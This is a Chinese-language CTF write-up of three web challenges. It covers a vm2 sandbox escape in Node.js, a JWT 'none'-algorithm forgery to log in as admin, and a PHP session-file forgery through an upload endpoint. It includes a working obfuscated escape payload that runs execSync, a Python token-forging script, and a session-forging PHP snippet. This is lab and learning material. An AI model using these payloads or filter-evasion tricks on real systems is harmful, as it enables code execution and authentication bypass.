Just escape
打开 看见是一个代码执行
提示一句真的是php吗 猜测可能是Node.js 因为题目出的太多了
这里面用一个测试语句
var err = new Error();err.stack;
可以打印出栈上的错误
发现是vm2 简单百度了下 因为自己不太懂Node.js 发现这个vm2是个非官方的模块,是一个替代品,到这里就不知道该怎么做了,这时候看wp发现一个链接
https://github.com/patriksimek/vm2/issues/225
发现上面爆了一个命令执行的漏洞
一把梭试了一下
好像是过滤了一些东西
过滤了for, while, process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号
思路有三种
第一种 数组绕过
第二种 利用javascript模板字符串
来源于赵总的思路
当有一些关键字被过滤时候我们可以考虑用这种语法
payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
当时不太懂这个TypeError函数 search一下说是数组调用保证能成功执行 先记住
第三种思路
用十六进制编码
还是用这个函数TypeError 然后(xx 双引号用反印号绕过即可
理清一下这道题的思路
Easy login
不会 回头复现发现是Node.js的题目
首先Node.js题目先看源码
在源码找到一个static/js/app.js
访问发现
得到提示是映射到根目录 这里就要说下Node.js这个框架了
dispatch.js 主进程文件
worker.js 工作进程
app.js 应用
routes.js url路由表
package.json 依赖模块
config.js or config/ 配置文件
controllers/ 业务逻辑相关
views/ 试图模板
common/ 跟业务相关的公共模块
proxy/ 数据访问代理层
lib/ 跟业务无关的公共模块
assets/ images|scripts|styles
bin/ 相关运行脚本
node_moudules/
所以我们就依次尝试去读取一下
有用的基本就这些
然后我们搜索关键字flag
发现在 cotroller/api.js中
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
发现主要有这么三个路由
/api/register注册 /api/login登录 /api/flag获取flag
首先register接受传进来的账号密码
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
判断username 只能为admin
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
然后随机生成一个18字符 然后用secretid来索引
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
用jwt方式 将secret作为内容进行HS256加密
/api/login路由
通过secretid索引读取secret的值
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
然后用token进行验证 通过验证把username赋给session中的
/api/flag
admin访问这个用户getflag
关键点在于伪造jwt令牌 在赵总的博客得知
**当加密时使用的是none算法,并且秘钥的值为undefined或空的时候,在验证时,即便后面的算法设置为 HS256,验证也还是按照none来进行并且通过验证。
造成这个漏洞的原因在于:这里验证的时候options选用的是algorithm,而依赖库中正确的是algorithms,正是这个原因造成了上面的漏洞。**
但这里还有一些奇妙的点要求sid不能为undefined js和php一样是弱类型语言
我们传个数组[]进去就可以进行伪造
那我们的思路是
开始注册->伪造得到admin->getflag
然后抓包注册 发现有一串token
在https://jwt.io中进行解密
简单写个小脚本
import jwt
token = jwt.encode({"secretid":[],"username": "admin","password": "admin","iat": 1587736827},algorithm="none",key="").decode(encoding='utf-8')
print(token)
得到一个伪造的token
然后登录处抓包
修改为我们伪造的admin admin
将这串sses:aok sses:aok;.sig替换
访问/api/flag
拿下flag
Baby upload
打开靶机已经把源代码po出来了
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
引入flag 判断session为admin file_exists是判断文件是否存在 如果存在 就删除文件 然后贴出flag
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
获取相关参数POST传参 如果attr变量为private 则把用户名拼接在后面
然后就是direction的两个操作 上传和下载
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
up_file 把文件名拼在后面
加上下划线和这个文件内容的 sha256 摘要值
然后判断是否有路径穿越 创建目录
下载操作,获取要读取的文件名(POST filename参数),拼接路径,判断是否有路径穿越,然后将文件内容返回。
elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
我们首先运用download这个点看一下现在的session
首先在cookie里面找到phpsess
然后构造
这里面比较坑的一个点是 username前面还有个不可见字符
在看师傅们的解之后明白 这个session前面没有| 这个其实他的session 处理器是一个php binary
参考文章:
https://blog.spoock.com/2016/10/16/php-serialize-problem/
然后思路是把guest修改为admin 把它上传上去进行伪造
然后用函数算出来他的值
接下来考虑上传两次 第一次上传覆盖掉session 另一次就要上传success.txt了
这里面的函数是file_exists()用来检测文件夹或目录 所以我们上传一个success.txt的目录
这里利用postman
将我们的sess文件传上去
然后进行sha256后的字符串
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
上传 download
第一步 get
然后就是令attr=success.txt
最后修改phpsessid的值
getflag
参考链接
赵总'sblog https://www.zhaoj.in/read-6512.html
一些细节与思考
在babyupload
在session文件修改的时候 我本地是mac环境 没办法复制那个不可见的字符
所以用一个脚本
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("/Applications/MAMP/htdocs/1");
session_start();
$_SESSION['username'] = 'admin';
file_exists()函数经常出现将文件当作目录可以绕过
postman调试的时候真的是神器 个人觉得比burp好用些
要加强对代码的阅读能力 包括Node.js框架的学习
--------------------------------------------Thanks-----------------------------------------------